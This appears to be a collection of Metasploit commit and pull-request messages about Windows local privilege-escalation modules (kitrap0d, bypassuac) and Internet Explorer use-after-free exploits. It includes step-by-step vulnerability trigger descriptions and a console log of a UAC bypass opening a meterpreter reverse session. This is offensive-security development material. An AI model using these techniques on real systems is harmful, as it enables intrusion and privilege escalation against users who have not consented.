I had inteded to add the `WfsDelay` as Meatballs suggested, but for locl
exploits this doesn't appear to work as expected. After speaking to HDM
we've decided to leave the sleep in there and figure out the `WsfDelay`
thing later.
This also includes a slight refactor which puts the payload and the
exploit in the same chunk of allocated memory. Minor optimisation, but
worth it.
This commit contains a few changes for the ppr_flatten_rec local windows
exploit. First, the exploit binary itself:
* Updated to use the RDI submodule.
* Updated to build with VS2013.
* Updated to generate a binary called `ppr_flatten_rc.x86.dll`.
* Invocation of the exploit requires address of the payload to run.
Second, the module in MSF behaved a little strange. I expected it to create
a new session with system privs and leave the existing session alone. This
wasn't the case. It used to create an instance of notepad, migrate the
_existing_ session to it, and run the exploit from there. This behaviour
didn't seem to be consistent with other local exploits. The changes
include:
* Existing session is now left alone, only used as a proxy.
* New notepad instance has exploit reflectively loaded.
* New notepad instance has payload directly injected.
* Exploit invocation takes the payload address as a parameter.
* A wait is added as the exploit is slow to run (nature of the exploit).
* Payloads are executed on successful exploit.
As per discussion on the github issue, the following changes were made:
* Project renamed from elevate to kitrap0d, implying that this is not
intended to be a generic local priv esc exploit container.
* Container DLL no longer generic, always calls the kitrap0d exploit.
* Removal of all x64 code and project configurations.
* Invocation of the exploit changed so that the address of the payload
is passed in to the exploit entry point. The exploit is now responsible
for executing the payload if the exploit is successful. This removes
the possibility of the payload getting executed when the exploit fails.
* Source moved to the appropriate CVE folder.
* Binary moved to the appropriate CVE folder.
* Little bit of source rejigging to tidy things up.
* Change ranking.
* Update references to comply with correct approach.
* Update messages to better describe what should happen.
* Update the Windows version regex to match XP.
* Update `check` function to use `unless`.
Thanks again @jvazquez-r7 for the feedback!
The exploit now properly injects the DLL using RDI and invokes the
exploit based on a parameter passed by the Ruby module. The elevate
code is 'generic' with a goal of possibly supporting more exploits
down the track.
New sessions are now created with the SYSTEM creds, rather than
modifying the existing session. This is now inline with how things
are done with other local modules.
Marked the SSL stuff as something that needs to be resolved in order to
fix a future bug in datastore manipulation. Also, fixed some whitespace
and exec complaints
[SeeRM #8498]
This version modifies the existing meterpreter session and bumps the privs
up to SYSTEM. However it's not how local exploits are supposed to work.
More work will be done to make this create a new session with the elevated
privs instead.
Even if the OS detection returns non-Win7, maybe it's Win 8 or something
where it'll still work. We rarely bail out on checks like these.
If I'm crazy, feel free to skip or revert this commit (it shouldn't hold
up the release at all)
For details on this module, see #2503. I don't see any comments about
this line in particular
We use system %PATH% for notepad executable instead of the absolute
path, because it caused a problem with the migrate script in a 64-bit
meterpreter session. By default the wordpad binary is not in the
%PATH%, so the condition in hp_nnm_ovbuildpath_textfile.rb was not
changed.
I didn't even realize we already added this in server.rb. So instead
of just escaping the OS parameter, we also encode the data in base64.
I also added prependmigrate to avoid unstable conditions for the payload.
* Period at the end of a description.
* Methods shouldn't be meth_name! unless the method is destructive.
* "Setup" is a noun, "set up" is a verb.
* Use the clunky post module naming convention.
This module exploits a vulnerability found in Microsoft Internet Explorer.
It was originally found being exploited in the wild targeting Japanese and
Korean IE8 users on Windows XP, around the same time frame as CVE-2013-3893,
except this was kept out of the public eye by multiple research companies and
the vendor until the October patch release.
This issue is a use-after-free vulnerability in CDisplayPointer via the use of
a "onpropertychange" event handler. To setup the appropriate buggy conditions,
we first craft the DOM tree in a specific order, where a CBlockElement comes after
the CTextArea element. If we use a select() function for the CTextArea element,
two important things will happen: a CDisplayPointer object will be created for
CTextArea, and it will also trigger another event called "onselect". The "onselect"
event will allow us to setup for the actual event handler we want to abuse -
the "onpropertychange" event. Since the CBlockElement is a child of CTextArea,
if we do a node swap of CBlockElement in "onselect", this will trigger
"onpropertychange". During "onpropertychange" event handling, a free of the
CDisplayPointer object can be forced by using an "Unslect" (other approaches
also apply), but a reference of this freed memory will still be kept by
CDoc::ScrollPointerIntoView, specifically after the CDoc::GetLineInfo call,
because it is still trying to use that to update CDisplayPointer's position.
When this invalid reference arrives in QIClassID, a crash finally occurs due to
accessing the freed memory. By controling this freed memory, it is possible to
achieve arbitrary code execution under the context of the user.
The new changes when calling uac_level = open_key.query_value('ConsentPromptBehaviorAdmin') breaks UAC on Windows 7 and Windows 8 and shows that UAC is not enabled when it is:
Here is prior to the change on a fully patched Windows 8 machine:
msf exploit(bypassuac) > exploit
[*] Started reverse handler on 172.16.21.156:4444
[*] UAC is Enabled, checking level...
[-] UAC is not enabled, no reason to run module
[-] Run exploit/windows/local/ask to elevate
msf exploit(bypassuac) >
Here's the module when running with the most recent changes that are being proposed:
[*] Started reverse handler on 172.16.21.156:4444
[*] UAC is Enabled, checking level...
[!] Could not determine UAC level - attempting anyways...
[*] Checking admin status...
[+] Part of Administrators group! Continuing...
[*] Uploading the bypass UAC executable to the filesystem...
[*] Meterpreter stager executable 73802 bytes long being uploaded..
[*] Uploaded the agent to the filesystem....
[*] Sending stage (770048 bytes) to 172.16.21.128
[*] Meterpreter session 6 opened (172.16.21.156:4444 -> 172.16.21.128:49394) at 2013-10-05 15:49:23 -0400
meterpreter >
With the new changes and not having a return on when 0 (will not always return 0 - just in certain cases where you cannot query) - it works.
This module exploits a use-after-free vulnerability that currents
targets Internet Explorer 9 on Windows 7, but the flaw should exist in
versions 6/7/8/9/10/11. It was initially found in the wild in Japan, but
other regions such as English, Chinese, Korean, etc, were targeted as
well.
The vulnerability is due to how the mshtml!CDoc::SetMouseCapture function
handles a reference during an event. An attacker first can setup two
elements, where the second is the child of the first, and then setup a
onlosecapture event handler for the parent element. The onlosecapture
event seems to require two setCapture() calls to trigger, one for the parent
element, one for the child. When the setCapture() call for the child element
is called, it finally triggers the event, which allows the attacker to cause
an arbitrary memory release using document.write(), which in particular frees
up a 0x54-byte memory. The exact size of this memory may differ based on the
version of IE. After the free, an invalid reference will still be kept and pass
on to more functions, eventuall this arrives in function
MSHTML!CTreeNode::GetInterface, and causes a crash (or arbitrary code execution)
when this function attempts to use this reference to call what appears to be a
PrivateQueryInterface due to the offset (0x00).
To mimic the same exploit found in the wild, this module will try to use the
same DLL from Microsoft Office 2007 or 2010 to leverage the attack.
According to the Ruby style guide, %w{} collections for arrays of single
words are preferred. They're easier to type, and if you want a quick
grep, they're easier to search.
This change converts all Payloads to this format if there is more than
one payload to choose from.
It also alphabetizes the payloads, so the order can be more predictable,
and for long sets, easier to scan with eyeballs.
See:
https://github.com/bbatsov/ruby-style-guide#collections
Thomas Hibbert
Tod Beardsley
Meatballs
sinn3r
jvazquez-r7
OJ
William Vu
scriptjunkie
root
jvazquez-r7
Booboule
Norbert Szetei
James Lee
Davy Douhine
MrXors
Winterspite
Rob Fuller
trustedsec
TecR0c
FireFart
darknight007